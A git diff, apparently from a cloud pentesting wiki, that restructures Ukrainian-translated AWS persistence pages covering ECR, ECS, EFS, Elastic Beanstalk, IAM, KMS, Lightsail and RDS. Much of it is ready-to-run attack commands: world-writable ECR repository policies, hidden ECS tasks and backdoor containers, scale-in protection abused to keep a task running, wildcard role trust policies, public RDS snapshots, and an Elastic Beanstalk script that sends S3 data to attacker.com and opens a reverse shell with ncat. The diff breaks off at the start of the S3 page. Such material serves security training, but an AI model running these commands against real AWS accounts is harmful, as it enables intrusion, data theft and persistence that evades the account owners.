+Backdoor майбутні репозиторії, створені PTC, під обраним префіксом +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index bae166c50..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Схована періодична задача ECS - -> [!NOTE] -> TODO: Test - -Зловмисник може створити сховану періодичну задачу ECS, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Backdoor Container in Existing ECS Task Definition - -> [!NOTE] -> TODO: Test - -Зловмисник може додати **прихований бекдор-контейнер** в існуюче визначення завдання ECS, який працює поряд з легітимними контейнерами. Бекдор-контейнер може використовуватися для збереження доступу та виконання шкідливих дій. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Undocumented ECS Service - -> [!NOTE] -> TODO: Test - -Зловмисник може створити **недокументований ECS сервіс**, який виконує шкідливе завдання. Встановивши бажану кількість завдань на мінімум і вимкнувши ведення журналів, адміністраторам стає важче помітити шкідливий сервіс. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..2642685c2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,151 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Hidden Periodic ECS Task + +> [!NOTE] +> TODO: Перевірити + +Зловмисник може створити hidden periodic ECS task, використовуючи Amazon EventBridge, щоб **планувати періодичне виконання шкідливої задачі**. Така задача може виконувати reconnaissance, exfiltrate data або підтримувати persistence в обліковому записі AWS. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Backdoor Container in Existing ECS Task Definition + +> [!NOTE] +> TODO: Test + +Атакувальник може додати **stealthy backdoor container** у наявний ECS task definition, який працює поруч із легітимними контейнерами. Цей backdoor container може використовуватися для persistence та виконання зловмисних дій. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### Незадокументований ECS Service + +> [!NOTE] +> TODO: Перевірити + +Зловмисник може створити **незадокументований ECS service**, який запускає шкідливий task. Встановивши бажану кількість tasks на мінімум та відключивши logging, адміністраторам стає складніше помітити шкідливий service. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### Утримання в ECS через Task Scale-In Protection (UpdateTaskProtection) + +Зловживання ecs:UpdateTaskProtection дозволяє запобігти зупинці сервісних задач під час scale‑in events та rolling deployments. Постійно продовжуючи protection, зловмисник може підтримувати довгостроковий task у роботі (для C2 або збору даних), навіть якщо захисники зменшать desiredCount або викотять нові task revisions. + +Кроки для відтворення в us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +Наслідок: Захищене завдання залишається RUNNING незважаючи на desiredCount=0 і блокує заміни під час нових розгортань, дозволяючи приховану довготривалу персистентність у сервісі ECS. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index 35f021468..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### Змінити політику ресурсу / групи безпеки - -Змінюючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи. - -### Створити точку доступу - -Ви можете **створити точку доступу** (з кореневим доступом до `/`), доступну з сервісу, де ви реалізували **іншу стійкість**, щоб зберегти привілейований доступ до файлової системи. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..53a264670 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Для отримання додаткової інформації дивись: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Змінити Resource Policy / Security Groups + +Змінюючи **resource policy and/or security groups**, ви можете спробувати зберегти свій доступ до файлової системи. + +### Створити Access Point + +Ви можете **створити access point** (з root-доступом до `/`), доступний із сервісу, де ви реалізували **other persistence**, щоб зберегти привілейований доступ до файлової системи. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md deleted file mode 100644 index b8b7e269f..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ /dev/null @@ -1,75 +0,0 @@ -# AWS - Elastic Beanstalk Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Persistence in Instance - -Щоб підтримувати стійкість всередині облікового запису AWS, деякі **механізми стійкості можуть бути впроваджені всередині екземпляра** (cron job, ssh key...), щоб зловмисник міг отримати доступ до нього та вкрасти **облікові дані IAM ролі з сервісу метаданих**. - -### Backdoor in Version - -Зловмисник може вставити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код. - -### New backdoored version - -Замість зміни коду в актуальній версії, зловмисник може розгорнути нову версію програми з бекдором. - -### Abusing Custom Resource Lifecycle Hooks - -> [!NOTE] -> TODO: Test - -Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час надання та завершення екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**. -```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access -echo '#!/bin/bash -aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv -gzip /tmp/data.csv -curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil -ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh - -# Attacker uploads the script to an S3 bucket -aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh - -# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook -echo 'Resources: -AWSEBAutoScalingGroup: -Metadata: -AWS::ElasticBeanstalk::Ext: -TriggerConfiguration: -triggers: -- name: stealthy-lifecycle-hook -events: -- "autoscaling:EC2_INSTANCE_LAUNCH" -- "autoscaling:EC2_INSTANCE_TERMINATE" -target: -ref: "AWS::ElasticBeanstalk::Environment" -arn: -Fn::GetAtt: -- "AWS::ElasticBeanstalk::Environment" -- "Arn" -stealthyLifecycleHook: -Type: AWS::AutoScaling::LifecycleHook -Properties: -AutoScalingGroupName: -Ref: AWSEBAutoScalingGroup -LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING -NotificationTargetARN: -Ref: stealthy-lifecycle-hook -RoleARN: -Fn::GetAtt: -- AWSEBAutoScalingGroup -- Arn' > stealthy_lifecycle_hook.yaml - -# Attacker applies the new environment configuration -aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md new file mode 100644 index 000000000..8c98bb001 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - Elastic Beanstalk Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +For more information check: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Persistence in Instance + +Щоб зберегти persistence всередині AWS account, у інстанс можна ввести якийсь **persistence mechanism** (cron job, ssh key...), щоб зловмисник мав доступ і міг вкрасти IAM role **credentials з metadata service**. + +### Backdoor in Version + +Зловмисник може backdoor код всередині S3 repo так, щоб він завжди виконував свій backdoor та очікуваний код. + +### New backdoored version + +Замість того, щоб змінювати код в актуальній версії, зловмисник може розгорнути (deploy) нову backdoored версію застосунку. + +### Abusing Custom Resource Lifecycle Hooks + +> [!NOTE] +> TODO: Test +> +> Elastic Beanstalk надає lifecycle hooks, які дозволяють запускати custom scripts під час instance provisioning та termination. Зловмисник може **configure lifecycle hook для періодичного виконання скрипта, який exfiltrates дані або підтримує доступ до AWS account**. +```bash +# Attacker creates a script that exfiltrates data and maintains access +echo '#!/bin/bash +aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv +gzip /tmp/data.csv +curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil +ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh + +# Attacker uploads the script to an S3 bucket +aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh + +# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook +echo 'Resources: +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml + +# Attacker applies the new environment configuration +aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index 25c7aee5c..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Для отримання додаткової інформації зверніться до: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### Загальна IAM Постійнiсть - -- Створити користувача -- Додати контрольованого користувача до привілейованої групи -- Створити ключі доступу (нового користувача або всіх користувачів) -- Надати додаткові дозволи контрольованим користувачам/групам (прикріплені політики або вбудовані політики) -- Вимкнути MFA / Додати свій власний пристрій MFA -- Створити ситуацію з ланцюгом ролей (більше про це нижче в STS постійності) - -### Політики довіри до бекдорів ролей - -Ви можете створити бекдор для політики довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### Політика бекдору Версія - -Надайте адміністративні права політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі. - -### Бекдор / Створити постачальника ідентичності - -Якщо обліковий запис вже довіряє загальному постачальнику ідентичності (такому як Github), умови довіри можуть бути посилені, щоб зловмисник міг їх зловживати. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..d6e8527fd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Для детальнішої інформації див.: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### Common IAM Persistence + +- Створити користувача +- Додати контрольованого користувача до привілейованої групи +- Створити access keys (нового користувача або всіх користувачів) +- Надати додаткові дозволи контрольованим користувачам/групам (attached policies або inline policies) +- Вимкнути MFA / Додати власний MFA пристрій +- Створити ситуацію Role Chain Juggling (детальніше нижче в STS persistence) + +### Backdoor Role Trust Policies + +You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +Надати Administrator permissions до policy у версії, яка не є останньою (остання версія має виглядати легітимною), після чого призначити цю версію policy контрольованому user/group. + +### Backdoor / Create Identity Provider + +Якщо акаунт уже довіряє поширеному identity provider (наприклад, Github), умови довіри можна послабити/змінити так, щоб attacker міг ними зловживати. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index ffc514d9b..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Надання доступу через політики KMS - -Зловмисник може використовувати дозвіл **`kms:PutKeyPolicy`** для **надання доступу** до ключа користувачу під його контролем або навіть до зовнішнього облікового запису. Перегляньте [**сторінку KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) для отримання додаткової інформації. - -### Вічний грант - -Гранти - це ще один спосіб надати принципалу деякі дозволи на конкретний ключ. Можливо надати грант, який дозволяє користувачу створювати гранти. Більше того, користувач може мати кілька грантів (навіть ідентичних) на той самий ключ. - -Отже, можливо, що користувач має 10 грантів з усіма дозволами. Зловмисник повинен постійно це контролювати. І якщо в якийсь момент 1 грант буде видалено, ще 10 повинні бути згенеровані. - -(Ми використовуємо 10, а не 2, щоб мати можливість виявити, що грант був видалений, поки у користувача все ще є деякі гранти) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> Грант може надавати дозволи лише з цього: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..a3ff2eed2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Grant доступ через KMS policies + +Зловмисник може використати дозвіл **`kms:PutKeyPolicy`**, щоб **надати доступ** до ключа користувачу під його контролем або навіть зовнішньому акаунту. Перегляньте [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) для детальнішої інформації. + +### Eternal Grant + +Grants — це інший спосіб надати принципалу певні дозволи над конкретним ключем. Можна створити grant, який дозволяє користувачу створювати grants. Крім того, користувач може мати кілька grant (навіть ідентичних) для одного й того ж ключа. + +Отже, користувач може мати 10 grants з усіма дозволами. Зловмиснику слід постійно це моніторити. Якщо в якийсь момент один grant буде видалено, має бути створено ще 10. + +(Ми використовуємо 10, а не 2, щоб мати змогу виявити, що grant було видалено, поки користувач усе ще має щонайменше один grant) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> Грант може надати дозволи лише з цього: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index d2dfc6e2a..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Завантаження SSH ключів інстансів та паролів до БД - -Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу - -### Задні двері в інстансах - -Зловмисник може отримати доступ до інстансів і встановити в них задні двері: - -- Використовуючи традиційний **rootkit**, наприклад -- Додаючи новий **публічний SSH ключ** -- Відкриваючи порт з портовим стуком з задніми дверима - -### DNS-постійність - -Якщо домени налаштовані: - -- Створіть піддомен, що вказує на вашу IP-адресу, щоб ви могли здійснити **піддоменний захват** -- Створіть запис **SPF**, що дозволяє вам надсилати **електронні листи** з домену -- Налаштуйте **IP основного домену на свій власний** і виконайте **MitM** з вашої IP-адреси на легітимні - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..004ba6e05 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Для детальнішої інформації дивись: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Download Instance SSH keys & DB passwords + +Ймовірно, їх не змінюватимуть, тому їхнє збереження — хороший спосіб забезпечити стійкий доступ. + +### Backdoor Instances + +Атакуючий може отримати доступ до instances і встановити backdoor: + +- Наприклад, використовуючи традиційний **rootkit** +- Додавши новий **public SSH key** +- Відкрити порт через **port knocking** з backdoor + +### DNS persistence + +Якщо домени налаштовані: + +- Створити субдомен, що вказує на вашу IP, щоб отримати **subdomain takeover** +- Створити запис **SPF**, що дозволяє надсилати **emails** від імені домену +- Налаштувати **main domain IP** на вашу IP та виконати **MitM** з вашої IP до легітимних + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index ba6728b57..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### Зробити екземпляр загальнодоступним: `rds:ModifyDBInstance` - -Зловмисник з цим дозволом може **змінити існуючий екземпляр RDS, щоб дозволити загальнодоступний доступ**. -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### Створити адміністратора користувача в базі даних - -Зловмисник може просто **створити користувача в базі даних**, тому навіть якщо пароль майстер-користувача буде змінено, він **не втратить доступ** до бази даних. - -### Зробити знімок публічним -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..f5f2daeec --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### Зробити інстанс публічно доступним: `rds:ModifyDBInstance` + +Атакувальник з цим дозволом може **змінити існуючий RDS інстанс, щоб зробити його публічно доступним**. +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### Створити admin user всередині DB + +Атакуючий може просто **створити користувача всередині DB**, тому навіть якщо master users password буде змінено, він **не втратить доступ** до бази даних. + +### Зробити snapshot публічним +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index 0b2236ee1..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - 